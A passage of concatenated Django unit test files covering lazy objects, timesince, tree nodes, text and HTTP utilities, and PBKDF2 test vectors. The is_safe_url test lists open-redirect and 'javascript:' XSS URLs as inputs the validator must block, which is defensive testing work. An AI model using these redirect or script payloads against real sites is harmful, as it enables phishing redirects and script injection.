        self.assertEqual(result, expected)






from django.test import TestCase

from .models import Category, Thing


class TestIsIterator(TestCase):
    def test_regression(self):
        """This failed on Django 1.5/Py2.6 because category has a next method."""
        category = Category.objects.create(name='category')
        Thing.objects.create(category=category)
        Thing.objects.filter(category=category)






# -*- encoding: utf-8 -*-
from __future__ import unicode_literals

import unittest

from django.utils import six
from django.utils.functional import cached_property, lazy, lazy_property


class FunctionalTestCase(unittest.TestCase):
    def test_lazy(self):
        t = lazy(lambda: tuple(range(3)), list, tuple)
        for a, b in zip(t(), range(3)):
            self.assertEqual(a, b)

    def test_lazy_base_class(self):
        """Test that lazy also finds base class methods in the proxy object"""

        class Base(object):
            def base_method(self):
                pass

        class Klazz(Base):
            pass

        t = lazy(lambda: Klazz(), Klazz)()
        self.assertIn('base_method', dir(t))

    def test_lazy_base_class_override(self):
        """Test that lazy finds the correct (overridden) method implementation"""

        class Base(object):
            def method(self):
                return 'Base'

        class Klazz(Base):
            def method(self):
                return 'Klazz'

        t = lazy(lambda: Klazz(), Base)()
        self.assertEqual(t.method(), 'Klazz')

    def test_lazy_property(self):

        class A(object):

            def _get_do(self):
                raise NotImplementedError

            def _set_do(self, value):
                raise NotImplementedError
            do = lazy_property(_get_do, _set_do)

        class B(A):
            def _get_do(self):
                return "DO IT"

        with self.assertRaises(NotImplementedError):
            A().do
        self.assertEqual(B().do, 'DO IT')

    def test_lazy_object_to_string(self):

        class Klazz(object):
            if six.PY3:
                def __str__(self):
                    return "Î am ā Ǩlâzz."

                def __bytes__(self):
                    return b"\xc3\x8e am \xc4\x81 binary \xc7\xa8l\xc3\xa2zz."
            else:
                def __unicode__(self):
                    return "Î am ā Ǩlâzz."

                def __str__(self):
                    return b"\xc3\x8e am \xc4\x81 binary \xc7\xa8l\xc3\xa2zz."

        t = lazy(lambda: Klazz(), Klazz)()
        self.assertEqual(six.text_type(t), "Î am ā Ǩlâzz.")
        self.assertEqual(six.binary_type(t), b"\xc3\x8e am \xc4\x81 binary \xc7\xa8l\xc3\xa2zz.")

    def test_cached_property(self):
        """
        Test that cached_property caches its value,
        and that it behaves like a property
        """

        class A(object):

            @cached_property
            def value(self):
                """Here is the docstring..."""
                return 1, object()

            def other_value(self):
                return 1

            other = cached_property(other_value, name='other')

        # docstring should be preserved
        self.assertEqual(A.value.__doc__, "Here is the docstring...")

        a = A()

        # check that it is cached
        self.assertEqual(a.value, a.value)

        # check that it returns the right thing
        self.assertEqual(a.value[0], 1)

        # check that state isn't shared between instances
        a2 = A()
        self.assertNotEqual(a.value, a2.value)

        # check that it behaves like a property when there's no instance
        self.assertIsInstance(A.value, cached_property)

        # check that overriding name works
        self.assertEqual(a.other, 1)
        self.assertTrue(callable(a.other_value))

    def test_lazy_equality(self):
        """
        Tests that == and != work correctly for Promises.
        """

        lazy_a = lazy(lambda: 4, int)
        lazy_b = lazy(lambda: 4, int)
        lazy_c = lazy(lambda: 5, int)

        self.assertEqual(lazy_a(), lazy_b())
        self.assertNotEqual(lazy_b(), lazy_c())

    def test_lazy_repr_text(self):
        original_object = 'Lazy translation text'
        lazy_obj = lazy(lambda: original_object, six.text_type)
        self.assertEqual(repr(original_object), repr(lazy_obj()))

    def test_lazy_repr_int(self):
        original_object = 15
        lazy_obj = lazy(lambda: original_object, int)
        self.assertEqual(repr(original_object), repr(lazy_obj()))

    def test_lazy_repr_bytes(self):
        original_object = b'J\xc3\xbcst a str\xc3\xadng'
        lazy_obj = lazy(lambda: original_object, bytes)
        self.assertEqual(repr(original_object), repr(lazy_obj()))






from __future__ import unicode_literals

import datetime
import unittest

from django.test.utils import requires_tz_support
from django.utils import timezone
from django.utils.timesince import timesince, timeuntil


class TimesinceTests(unittest.TestCase):

    def setUp(self):
        self.t = datetime.datetime(2007, 8, 14, 13, 46, 0)
        self.onemicrosecond = datetime.timedelta(microseconds=1)
        self.onesecond = datetime.timedelta(seconds=1)
        self.oneminute = datetime.timedelta(minutes=1)
        self.onehour = datetime.timedelta(hours=1)
        self.oneday = datetime.timedelta(days=1)
        self.oneweek = datetime.timedelta(days=7)
        self.onemonth = datetime.timedelta(days=30)
        self.oneyear = datetime.timedelta(days=365)

    def test_equal_datetimes(self):
        """ equal datetimes. """
        # NOTE: \xa0 avoids wrapping between value and unit
        self.assertEqual(timesince(self.t, self.t), '0\xa0minutes')

    def test_ignore_microseconds_and_seconds(self):
        """ Microseconds and seconds are ignored. """
        self.assertEqual(timesince(self.t, self.t + self.onemicrosecond), '0\xa0minutes')
        self.assertEqual(timesince(self.t, self.t + self.onesecond), '0\xa0minutes')

    def test_other_units(self):
        """ Test other units. """
        self.assertEqual(timesince(self.t, self.t + self.oneminute), '1\xa0minute')
        self.assertEqual(timesince(self.t, self.t + self.onehour), '1\xa0hour')
        self.assertEqual(timesince(self.t, self.t + self.oneday), '1\xa0day')
        self.assertEqual(timesince(self.t, self.t + self.oneweek), '1\xa0week')
        self.assertEqual(timesince(self.t, self.t + self.onemonth), '1\xa0month')
        self.assertEqual(timesince(self.t, self.t + self.oneyear), '1\xa0year')

    def test_multiple_units(self):
        """ Test multiple units. """
        self.assertEqual(timesince(self.t, self.t + 2 * self.oneday + 6 * self.onehour), '2\xa0days, 6\xa0hours')
        self.assertEqual(timesince(self.t, self.t + 2 * self.oneweek + 2 * self.oneday), '2\xa0weeks, 2\xa0days')

    def test_display_first_unit(self):
        """
        If the two differing units aren't adjacent, only the first unit is
        displayed.
        """
        self.assertEqual(
            timesince(self.t, self.t + 2 * self.oneweek + 3 * self.onehour + 4 * self.oneminute),
            '2\xa0weeks'
        )
        self.assertEqual(timesince(self.t, self.t + 4 * self.oneday + 5 * self.oneminute), '4\xa0days')

    def test_display_second_before_first(self):
        """
        When the second date occurs before the first, we should always
        get 0 minutes.
        """
        self.assertEqual(timesince(self.t, self.t - self.onemicrosecond), '0\xa0minutes')
        self.assertEqual(timesince(self.t, self.t - self.onesecond), '0\xa0minutes')
        self.assertEqual(timesince(self.t, self.t - self.oneminute), '0\xa0minutes')
        self.assertEqual(timesince(self.t, self.t - self.onehour), '0\xa0minutes')
        self.assertEqual(timesince(self.t, self.t - self.oneday), '0\xa0minutes')
        self.assertEqual(timesince(self.t, self.t - self.oneweek), '0\xa0minutes')
        self.assertEqual(timesince(self.t, self.t - self.onemonth), '0\xa0minutes')
        self.assertEqual(timesince(self.t, self.t - self.oneyear), '0\xa0minutes')
        self.assertEqual(timesince(self.t, self.t - 2 * self.oneday - 6 * self.onehour), '0\xa0minutes')
        self.assertEqual(timesince(self.t, self.t - 2 * self.oneweek - 2 * self.oneday), '0\xa0minutes')
        self.assertEqual(
            timesince(self.t, self.t - 2 * self.oneweek - 3 * self.onehour - 4 * self.oneminute), '0\xa0minutes'
        )
        self.assertEqual(timesince(self.t, self.t - 4 * self.oneday - 5 * self.oneminute), '0\xa0minutes')

    @requires_tz_support
    def test_different_timezones(self):
        """ When using two different timezones. """
        now = datetime.datetime.now()
        now_tz = timezone.make_aware(now, timezone.get_default_timezone())
        now_tz_i = timezone.localtime(now_tz, timezone.get_fixed_timezone(195))

        self.assertEqual(timesince(now), '0\xa0minutes')
        self.assertEqual(timesince(now_tz), '0\xa0minutes')
        self.assertEqual(timesince(now_tz_i), '0\xa0minutes')
        self.assertEqual(timesince(now_tz, now_tz_i), '0\xa0minutes')
        self.assertEqual(timeuntil(now), '0\xa0minutes')
        self.assertEqual(timeuntil(now_tz), '0\xa0minutes')
        self.assertEqual(timeuntil(now_tz_i), '0\xa0minutes')
        self.assertEqual(timeuntil(now_tz, now_tz_i), '0\xa0minutes')

    def test_date_objects(self):
        """ Both timesince and timeuntil should work on date objects (#17937). """
        today = datetime.date.today()
        self.assertEqual(timesince(today + self.oneday), '0\xa0minutes')
        self.assertEqual(timeuntil(today - self.oneday), '0\xa0minutes')

    def test_both_date_objects(self):
        """ Timesince should work with both date objects (#9672) """
        today = datetime.date.today()
        self.assertEqual(timeuntil(today + self.oneday, today), '1\xa0day')
        self.assertEqual(timeuntil(today - self.oneday, today), '0\xa0minutes')
        self.assertEqual(timeuntil(today + self.oneweek, today), '1\xa0week')

    def test_naive_datetime_with_tzinfo_attribute(self):
        class naive(datetime.tzinfo):
            def utcoffset(self, dt):
                return None
        future = datetime.datetime(2080, 1, 1, tzinfo=naive())
        self.assertEqual(timesince(future), '0\xa0minutes')
        past = datetime.datetime(1980, 1, 1, tzinfo=naive())
        self.assertEqual(timeuntil(past), '0\xa0minutes')

    def test_thousand_years_ago(self):
        t = datetime.datetime(1007, 8, 14, 13, 46, 0)
        self.assertEqual(timesince(t, self.t), '1000\xa0years')






import copy
import unittest

from django.utils.tree import Node


class NodeTests(unittest.TestCase):
    def setUp(self):
        self.node1_children = [('a', 1), ('b', 2)]
        self.node1 = Node(self.node1_children)
        self.node2 = Node()

    def test_str(self):
        self.assertEqual(str(self.node1), "(DEFAULT: ('a', 1), ('b', 2))")
        self.assertEqual(str(self.node2), "(DEFAULT: )")

    def test_repr(self):
        self.assertEqual(repr(self.node1),
                         "<Node: (DEFAULT: ('a', 1), ('b', 2))>")
        self.assertEqual(repr(self.node2), "<Node: (DEFAULT: )>")

    def test_len(self):
        self.assertEqual(len(self.node1), 2)
        self.assertEqual(len(self.node2), 0)

    def test_bool(self):
        self.assertTrue(self.node1)
        self.assertFalse(self.node2)

    def test_contains(self):
        self.assertIn(('a', 1), self.node1)
        self.assertNotIn(('a', 1), self.node2)

    def test_add(self):
        # start with the same children of node1 then add an item
        node3 = Node(self.node1_children)
        node3_added_child = ('c', 3)
        # add() returns the added data
        self.assertEqual(node3.add(node3_added_child, Node.default),
                         node3_added_child)
        # we added exactly one item, len() should reflect that
        self.assertEqual(len(self.node1) + 1, len(node3))
        self.assertEqual(str(node3), "(DEFAULT: ('a', 1), ('b', 2), ('c', 3))")

    def test_negate(self):
        # negated is False by default
        self.assertFalse(self.node1.negated)
        self.node1.negate()
        self.assertTrue(self.node1.negated)
        self.node1.negate()
        self.assertFalse(self.node1.negated)

    def test_deepcopy(self):
        node4 = copy.copy(self.node1)
        node5 = copy.deepcopy(self.node1)
        self.assertIs(self.node1.children, node4.children)
        self.assertIsNot(self.node1.children, node5.children)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import json

from django.test import SimpleTestCase
from django.utils import six, text
from django.utils.functional import lazystr
from django.utils.translation import override

IS_WIDE_BUILD = (len('\U0001F4A9') == 1)


class TestUtilsText(SimpleTestCase):

    def test_get_text_list(self):
        self.assertEqual(text.get_text_list(['a', 'b', 'c', 'd']), 'a, b, c or d')
        self.assertEqual(text.get_text_list(['a', 'b', 'c'], 'and'), 'a, b and c')
        self.assertEqual(text.get_text_list(['a', 'b'], 'and'), 'a and b')
        self.assertEqual(text.get_text_list(['a']), 'a')
        self.assertEqual(text.get_text_list([]), '')
        with override('ar'):
            self.assertEqual(text.get_text_list(['a', 'b', 'c']), "a، b أو c")

    def test_smart_split(self):
        testdata = [
            ('This is "a person" test.',
                ['This', 'is', '"a person"', 'test.']),
            ('This is "a person\'s" test.',
                ['This', 'is', '"a person\'s"', 'test.']),
            ('This is "a person\\"s" test.',
                ['This', 'is', '"a person\\"s"', 'test.']),
            ('"a \'one',
                ['"a', "'one"]),
            ('all friends\' tests',
                ['all', 'friends\'', 'tests']),
            ('url search_page words="something else"',
                ['url', 'search_page', 'words="something else"']),
            ("url search_page words='something else'",
                ['url', 'search_page', "words='something else'"]),
            ('url search_page words "something else"',
                ['url', 'search_page', 'words', '"something else"']),
            ('url search_page words-"something else"',
                ['url', 'search_page', 'words-"something else"']),
            ('url search_page words=hello',
                ['url', 'search_page', 'words=hello']),
            ('url search_page words="something else',
                ['url', 'search_page', 'words="something', 'else']),
            ("cut:','|cut:' '",
                ["cut:','|cut:' '"]),
            (lazystr("a b c d"),  # Test for #20231
                ['a', 'b', 'c', 'd']),
        ]
        for test, expected in testdata:
            self.assertEqual(list(text.smart_split(test)), expected)

    def test_truncate_chars(self):
        truncator = text.Truncator(
            'The quick brown fox jumped over the lazy dog.'
        )
        self.assertEqual('The quick brown fox jumped over the lazy dog.', truncator.chars(100)),
        self.assertEqual('The quick brown fox ...', truncator.chars(23)),
        self.assertEqual('The quick brown fo.....', truncator.chars(23, '.....')),

        # Ensure that we normalize our unicode data first
        nfc = text.Truncator('o\xfco\xfco\xfco\xfc')
        nfd = text.Truncator('ou\u0308ou\u0308ou\u0308ou\u0308')
        self.assertEqual('oüoüoüoü', nfc.chars(8))
        self.assertEqual('oüoüoüoü', nfd.chars(8))
        self.assertEqual('oü...', nfc.chars(5))
        self.assertEqual('oü...', nfd.chars(5))

        # Ensure the final length is calculated correctly when there are
        # combining characters with no precomposed form, and that combining
        # characters are not split up.
        truncator = text.Truncator('-B\u030AB\u030A----8')
        self.assertEqual('-B\u030A...', truncator.chars(5))
        self.assertEqual('-B\u030AB\u030A-...', truncator.chars(7))
        self.assertEqual('-B\u030AB\u030A----8', truncator.chars(8))

        # Ensure the length of the end text is correctly calculated when it
        # contains combining characters with no precomposed form.
        truncator = text.Truncator('-----')
        self.assertEqual('---B\u030A', truncator.chars(4, 'B\u030A'))
        self.assertEqual('-----', truncator.chars(5, 'B\u030A'))

        # Make a best effort to shorten to the desired length, but requesting
        # a length shorter than the ellipsis shouldn't break
        self.assertEqual('...', text.Truncator('asdf').chars(1))
        # Ensure that lazy strings are handled correctly
        self.assertEqual(text.Truncator(lazystr('The quick brown fox')).chars(12), 'The quick...')

    def test_truncate_words(self):
        truncator = text.Truncator('The quick brown fox jumped over the lazy dog.')
        self.assertEqual('The quick brown fox jumped over the lazy dog.', truncator.words(10))
        self.assertEqual('The quick brown fox...', truncator.words(4))
        self.assertEqual('The quick brown fox[snip]', truncator.words(4, '[snip]'))
        # Ensure that lazy strings are handled correctly
        truncator = text.Truncator(lazystr('The quick brown fox jumped over the lazy dog.'))
        self.assertEqual('The quick brown fox...', truncator.words(4))

    def test_truncate_html_words(self):
        truncator = text.Truncator(
            '<p id="par"><strong><em>The quick brown fox jumped over the lazy dog.</em></strong></p>'
        )
        self.assertEqual(
            '<p id="par"><strong><em>The quick brown fox jumped over the lazy dog.</em></strong></p>',
            truncator.words(10, html=True)
        )
        self.assertEqual(
            '<p id="par"><strong><em>The quick brown fox...</em></strong></p>',
            truncator.words(4, html=True)
        )
        self.assertEqual(
            '<p id="par"><strong><em>The quick brown fox....</em></strong></p>',
            truncator.words(4, '....', html=True)
        )
        self.assertEqual(
            '<p id="par"><strong><em>The quick brown fox</em></strong></p>',
            truncator.words(4, '', html=True)
        )

        # Test with new line inside tag
        truncator = text.Truncator(
            '<p>The quick <a href="xyz.html"\n id="mylink">brown fox</a> jumped over the lazy dog.</p>'
        )
        self.assertEqual(
            '<p>The quick <a href="xyz.html"\n id="mylink">brown...</a></p>',
            truncator.words(3, '...', html=True)
        )

        # Test self-closing tags
        truncator = text.Truncator('<br/>The <hr />quick brown fox jumped over the lazy dog.')
        self.assertEqual('<br/>The <hr />quick brown...', truncator.words(3, '...', html=True))
        truncator = text.Truncator('<br>The <hr/>quick <em>brown fox</em> jumped over the lazy dog.')
        self.assertEqual('<br>The <hr/>quick <em>brown...</em>', truncator.words(3, '...', html=True))

        # Test html entities
        truncator = text.Truncator('<i>Buenos d&iacute;as! &#x00bf;C&oacute;mo est&aacute;?</i>')
        self.assertEqual('<i>Buenos d&iacute;as! &#x00bf;C&oacute;mo...</i>', truncator.words(3, '...', html=True))
        truncator = text.Truncator('<p>I &lt;3 python, what about you?</p>')
        self.assertEqual('<p>I &lt;3 python...</p>', truncator.words(3, '...', html=True))

    def test_wrap(self):
        digits = '1234 67 9'
        self.assertEqual(text.wrap(digits, 100), '1234 67 9')
        self.assertEqual(text.wrap(digits, 9), '1234 67 9')
        self.assertEqual(text.wrap(digits, 8), '1234 67\n9')

        self.assertEqual(text.wrap('short\na long line', 7), 'short\na long\nline')
        self.assertEqual(text.wrap('do-not-break-long-words please? ok', 8), 'do-not-break-long-words\nplease?\nok')

        long_word = 'l%sng' % ('o' * 20)
        self.assertEqual(text.wrap(long_word, 20), long_word)
        self.assertEqual(text.wrap('a %s word' % long_word, 10), 'a\n%s\nword' % long_word)
        self.assertEqual(text.wrap(lazystr(digits), 100), '1234 67 9')

    def test_normalize_newlines(self):
        self.assertEqual(text.normalize_newlines("abc\ndef\rghi\r\n"), "abc\ndef\nghi\n")
        self.assertEqual(text.normalize_newlines("\n\r\r\n\r"), "\n\n\n\n")
        self.assertEqual(text.normalize_newlines("abcdefghi"), "abcdefghi")
        self.assertEqual(text.normalize_newlines(""), "")
        self.assertEqual(text.normalize_newlines(lazystr("abc\ndef\rghi\r\n")), "abc\ndef\nghi\n")

    def test_normalize_newlines_bytes(self):
        """normalize_newlines should be able to handle bytes too"""
        normalized = text.normalize_newlines(b"abc\ndef\rghi\r\n")
        self.assertEqual(normalized, "abc\ndef\nghi\n")
        self.assertIsInstance(normalized, six.text_type)

    def test_phone2numeric(self):
        numeric = text.phone2numeric('0800 flowers')
        self.assertEqual(numeric, '0800 3569377')
        lazy_numeric = lazystr(text.phone2numeric('0800 flowers'))
        self.assertEqual(lazy_numeric, '0800 3569377')

    def test_slugify(self):
        items = (
            # given - expected - unicode?
            ('Hello, World!', 'hello-world', False),
            ('spam & eggs', 'spam-eggs', False),
            ('spam & ıçüş', 'spam-ıçüş', True),
            ('foo ıç bar', 'foo-ıç-bar', True),
            ('    foo ıç bar', 'foo-ıç-bar', True),
            ('你好', '你好', True),
        )
        for value, output, is_unicode in items:
            self.assertEqual(text.slugify(value, allow_unicode=is_unicode), output)

    def test_unescape_entities(self):
        items = [
            ('', ''),
            ('foo', 'foo'),
            ('&amp;', '&'),
            ('&#x26;', '&'),
            ('&#38;', '&'),
            ('foo &amp; bar', 'foo & bar'),
            ('foo & bar', 'foo & bar'),
        ]
        for value, output in items:
            self.assertEqual(text.unescape_entities(value), output)
            self.assertEqual(text.unescape_entities(lazystr(value)), output)

    def test_unescape_string_literal(self):
        items = [
            ('"abc"', 'abc'),
            ("'abc'", 'abc'),
            ('"a \"bc\""', 'a "bc"'),
            ("'\'ab\' c'", "'ab' c"),
        ]
        for value, output in items:
            self.assertEqual(text.unescape_string_literal(value), output)
            self.assertEqual(text.unescape_string_literal(lazystr(value)), output)

    def test_get_valid_filename(self):
        filename = "^&'@{}[],$=!-#()%+~_123.txt"
        self.assertEqual(text.get_valid_filename(filename), "-_123.txt")
        self.assertEqual(text.get_valid_filename(lazystr(filename)), "-_123.txt")

    def test_compress_sequence(self):
        data = [{'key': i} for i in range(10)]
        seq = list(json.JSONEncoder().iterencode(data))
        seq = [s.encode('utf-8') for s in seq]
        actual_length = len(b''.join(seq))
        out = text.compress_sequence(seq)
        compressed_length = len(b''.join(out))
        self.assertTrue(compressed_length < actual_length)






# -*- encoding: utf-8 -*-
from __future__ import unicode_literals

import sys
import unittest
from datetime import datetime

from django.utils import http, six
from django.utils.datastructures import MultiValueDict


class TestUtilsHttp(unittest.TestCase):

    def test_urlencode(self):
        # 2-tuples (the norm)
        result = http.urlencode((('a', 1), ('b', 2), ('c', 3)))
        self.assertEqual(result, 'a=1&b=2&c=3')

        # A dictionary
        result = http.urlencode({'a': 1, 'b': 2, 'c': 3})
        acceptable_results = [
            # Need to allow all of these as dictionaries have to be treated as
            # unordered
            'a=1&b=2&c=3',
            'a=1&c=3&b=2',
            'b=2&a=1&c=3',
            'b=2&c=3&a=1',
            'c=3&a=1&b=2',
            'c=3&b=2&a=1'
        ]
        self.assertIn(result, acceptable_results)
        result = http.urlencode({'a': [1, 2]}, doseq=False)
        self.assertEqual(result, 'a=%5B%271%27%2C+%272%27%5D')
        result = http.urlencode({'a': [1, 2]}, doseq=True)
        self.assertEqual(result, 'a=1&a=2')
        result = http.urlencode({'a': []}, doseq=True)
        self.assertEqual(result, '')

        # A MultiValueDict
        result = http.urlencode(MultiValueDict({
            'name': ['Adrian', 'Simon'],
            'position': ['Developer']
        }), doseq=True)
        acceptable_results = [
            # MultiValueDicts are similarly unordered
            'name=Adrian&name=Simon&position=Developer',
            'position=Developer&name=Adrian&name=Simon'
        ]
        self.assertIn(result, acceptable_results)

    def test_base36(self):
        # reciprocity works
        for n in [0, 1, 1000, 1000000]:
            self.assertEqual(n, http.base36_to_int(http.int_to_base36(n)))
        if six.PY2:
            self.assertEqual(sys.maxint, http.base36_to_int(http.int_to_base36(sys.maxint)))

        # bad input
        with self.assertRaises(ValueError):
            http.int_to_base36(-1)
        if six.PY2:
            with self.assertRaises(ValueError):
                http.int_to_base36(sys.maxint + 1)
        for n in ['1', 'foo', {1: 2}, (1, 2, 3), 3.141]:
            with self.assertRaises(TypeError):
                http.int_to_base36(n)

        for n in ['#', ' ']:
            with self.assertRaises(ValueError):
                http.base36_to_int(n)
        for n in [123, {1: 2}, (1, 2, 3), 3.141]:
            with self.assertRaises(TypeError):
                http.base36_to_int(n)

        # more explicit output testing
        for n, b36 in [(0, '0'), (1, '1'), (42, '16'), (818469960, 'django')]:
            self.assertEqual(http.int_to_base36(n), b36)
            self.assertEqual(http.base36_to_int(b36), n)

    def test_is_safe_url(self):
        bad_urls = (
            'http://example.com',
            'http:///example.com',
            'https://example.com',
            'ftp://example.com',
            r'\\example.com',
            r'\\\example.com',
            r'/\\/example.com',
            r'\\\example.com',
            r'\\example.com',
            r'\\//example.com',
            r'/\/example.com',
            r'\/example.com',
            r'/\example.com',
            'http:///example.com',
            'http:/\//example.com',
            'http:\/example.com',
            'http:/\example.com',
            'javascript:alert("XSS")',
            '\njavascript:alert(x)',
            '\x08//example.com',
            r'http://otherserver\@example.com',
            r'http:\\testserver\@example.com',
            r'http://testserver\me:pass@example.com',
            r'http://testserver\@example.com',
            r'http:\\testserver\confirm\me@example.com',
            '\n',
        )
        for bad_url in bad_urls:
            self.assertFalse(http.is_safe_url(bad_url, host='testserver'), "%s should be blocked" % bad_url)

        good_urls = (
            '/view/?param=http://example.com',
            '/view/?param=https://example.com',
            '/view?param=ftp://example.com',
            'view/?param=//example.com',
            'https://testserver/',
            'HTTPS://testserver/',
            '//testserver/',
            'http://testserver/confirm?email=me@example.com',
            '/url%20with%20spaces/',
        )
        for good_url in good_urls:
            self.assertTrue(http.is_safe_url(good_url, host='testserver'), "%s should be allowed" % good_url)

        if six.PY2:
            # Check binary URLs, regression tests for #26308
            self.assertTrue(
                http.is_safe_url(b'https://testserver/', host='testserver'),
                "binary URLs should be allowed on Python 2"
            )
            self.assertFalse(http.is_safe_url(b'\x08//example.com', host='testserver'))
            self.assertTrue(http.is_safe_url('àview/'.encode('utf-8'), host='testserver'))
            self.assertFalse(http.is_safe_url('àview'.encode('latin-1'), host='testserver'))

        # Valid basic auth credentials are allowed.
        self.assertTrue(http.is_safe_url(r'http://user:pass@testserver/', host='user:pass@testserver'))
        # A path without host is allowed.
        self.assertTrue(http.is_safe_url('/confirm/me@example.com'))
        # Basic auth without host is not allowed.
        self.assertFalse(http.is_safe_url(r'http://testserver\@example.com'))

    def test_is_safe_url_secure_param_https_urls(self):
        secure_urls = (
            'https://example.com/p',
            'HTTPS://example.com/p',
            '/view/?param=http://example.com',
        )
        for url in secure_urls:
            self.assertTrue(http.is_safe_url(url, 'example.com', require_https=True))

    def test_is_safe_url_secure_param_non_https_urls(self):
        not_secure_urls = (
            'http://example.com/p',
            'ftp://example.com/p',
            '//example.com/p',
        )
        for url in not_secure_urls:
            self.assertFalse(http.is_safe_url(url, 'example.com', require_https=True))

    def test_urlsafe_base64_roundtrip(self):
        bytestring = b'foo'
        encoded = http.urlsafe_base64_encode(bytestring)
        decoded = http.urlsafe_base64_decode(encoded)
        self.assertEqual(bytestring, decoded)

    def test_urlquote(self):
        self.assertEqual(http.urlquote('Paris & Orl\xe9ans'), 'Paris%20%26%20Orl%C3%A9ans')
        self.assertEqual(http.urlquote('Paris & Orl\xe9ans', safe="&"), 'Paris%20&%20Orl%C3%A9ans')
        self.assertEqual(http.urlunquote('Paris%20%26%20Orl%C3%A9ans'), 'Paris & Orl\xe9ans')
        self.assertEqual(http.urlunquote('Paris%20&%20Orl%C3%A9ans'), 'Paris & Orl\xe9ans')
        self.assertEqual(http.urlquote_plus('Paris & Orl\xe9ans'), 'Paris+%26+Orl%C3%A9ans')
        self.assertEqual(http.urlquote_plus('Paris & Orl\xe9ans', safe="&"), 'Paris+&+Orl%C3%A9ans')
        self.assertEqual(http.urlunquote_plus('Paris+%26+Orl%C3%A9ans'), 'Paris & Orl\xe9ans')
        self.assertEqual(http.urlunquote_plus('Paris+&+Orl%C3%A9ans'), 'Paris & Orl\xe9ans')

    def test_is_same_domain_good(self):
        for pair in (
            ('example.com', 'example.com'),
            ('example.com', '.example.com'),
            ('foo.example.com', '.example.com'),
            ('example.com:8888', 'example.com:8888'),
            ('example.com:8888', '.example.com:8888'),
            ('foo.example.com:8888', '.example.com:8888'),
        ):
            self.assertTrue(http.is_same_domain(*pair))

    def test_is_same_domain_bad(self):
        for pair in (
            ('example2.com', 'example.com'),
            ('foo.example.com', 'example.com'),
            ('example.com:9999', 'example.com:8888'),
        ):
            self.assertFalse(http.is_same_domain(*pair))


class ETagProcessingTests(unittest.TestCase):
    def test_parsing(self):
        etags = http.parse_etags(r'"", "etag", "e\"t\"ag", "e\\tag", W/"weak"')
        self.assertEqual(etags, ['', 'etag', 'e"t"ag', r'e\tag', 'weak'])

    def test_quoting(self):
        original_etag = r'e\t"ag'
        quoted_etag = http.quote_etag(original_etag)
        self.assertEqual(quoted_etag, r'"e\\t\"ag"')
        self.assertEqual(http.unquote_etag(quoted_etag), original_etag)


class HttpDateProcessingTests(unittest.TestCase):
    def test_http_date(self):
        t = 1167616461.0
        self.assertEqual(http.http_date(t), 'Mon, 01 Jan 2007 01:54:21 GMT')

    def test_cookie_date(self):
        t = 1167616461.0
        self.assertEqual(http.cookie_date(t), 'Mon, 01-Jan-2007 01:54:21 GMT')

    def test_parsing_rfc1123(self):
        parsed = http.parse_http_date('Sun, 06 Nov 1994 08:49:37 GMT')
        self.assertEqual(datetime.utcfromtimestamp(parsed), datetime(1994, 11, 6, 8, 49, 37))

    def test_parsing_rfc850(self):
        parsed = http.parse_http_date('Sunday, 06-Nov-94 08:49:37 GMT')
        self.assertEqual(datetime.utcfromtimestamp(parsed), datetime(1994, 11, 6, 8, 49, 37))

    def test_parsing_asctime(self):
        parsed = http.parse_http_date('Sun Nov  6 08:49:37 1994')
        self.assertEqual(datetime.utcfromtimestamp(parsed), datetime(1994, 11, 6, 8, 49, 37))






from __future__ import unicode_literals

import binascii
import hashlib
import unittest

from django.utils.crypto import constant_time_compare, pbkdf2


class TestUtilsCryptoMisc(unittest.TestCase):

    def test_constant_time_compare(self):
        # It's hard to test for constant time, just test the result.
        self.assertTrue(constant_time_compare(b'spam', b'spam'))
        self.assertFalse(constant_time_compare(b'spam', b'eggs'))
        self.assertTrue(constant_time_compare('spam', 'spam'))
        self.assertFalse(constant_time_compare('spam', 'eggs'))


class TestUtilsCryptoPBKDF2(unittest.TestCase):

    # http://tools.ietf.org/html/draft-josefsson-pbkdf2-test-vectors-06
    rfc_vectors = [
        {
            "args": {
                "password": "password",
                "salt": "salt",
                "iterations": 1,
                "dklen": 20,
                "digest": hashlib.sha1,
            },
            "result": "0c60c80f961f0e71f3a9b524af6012062fe037a6",
        },
        {
            "args": {
                "password": "password",
                "salt": "salt",
                "iterations": 2,
                "dklen": 20,
                "digest": hashlib.sha1,
            },
            "result": "ea6c014dc72d6f8ccd1ed92ace1d41f0d8de8957",
        },
        {
            "args": {
                "password": "password",
                "salt": "salt",
                "iterations": 4096,
                "dklen": 20,
                "digest": hashlib.sha1,
            },
            "result": "4b007901b765489abead49d926f721d065a429c1",
        },
        # # this takes way too long :(
        # {
        #     "args": {
        #         "password": "password",
        #         "salt": "salt",
        #         "iterations": 16777216,
        #         "dklen": 20,
        #         "digest": hashlib.sha1,
        #     },
        #     "result": "eefe3d61cd4da4e4e9945b3d6ba2158c2634e984",
        # },
        {
            "args": {
                "password": "passwordPASSWORDpassword",
                "salt": "saltSALTsaltSALTsaltSALTsaltSALTsalt",
                "iterations": 4096,
                "dklen": 25,
                "digest": hashlib.sha1,
            },
            "result": "3d2eec4fe41c849b80c8d83662c0e44a8b291a964cf2f07038",
        },
        {
            "args": {
                "password": "pass\0word",
                "salt": "sa\0lt",
                "iterations": 4096,
                "dklen": 16,
                "digest": hashlib.sha1,
            },
            "result": "56fa6aa75548099dcc37d7f03425e0c3",
        },
    ]

    regression_vectors = [
        {
            "args": {
                "password": "password",
                "salt": "salt",
                "iterations": 1,
                "dklen": 20,
                "digest": hashlib.sha256,
            },
            "result": "120fb6cffcf8b32c43e7225256c4f837a86548c9",
        },
        {
            "args": {
                "password": "password",
                "salt": "salt",
                "iterations": 1,
                "dklen": 20,
                "digest": hashlib.sha512,
            },
            "result": "867f70cf1ade02cff3752599a3a53dc4af34c7a6",
        },
        {
            "args": {
                "password": "password",
                "salt": "salt",
                "iterations": 1000,
                "dklen": 0,
                "digest": hashlib.sha512,
            },
            "result": ("afe6c5530785b6cc6b1c6453384731bd5ee432ee"
                       "549fd42fb6695779ad8a1c5bf59de69c48f774ef"
                       "c4007d5298f9033c0241d5ab69305e7b64eceeb8d"
                       "834cfec"),
        },
        # Check leading zeros are not stripped (#17481)
        {
            "args": {
                "password": b'\xba',
                "salt": "salt",
                "iterations": 1,
                "dklen": 20,
                "digest": hashlib.sha1,
            },
            "result": '0053d3b91a7f1e54effebd6d68771e8a6e0b2c5b',
        },
    ]

    def test_public_vectors(self):
        for vector in self.rfc_vectors:
            result = pbkdf2(**vector['args'])
            self.assertEqual(binascii.hexlify(result).decode('ascii'),
                             vector['result'])

    def test_regression_vectors(self):
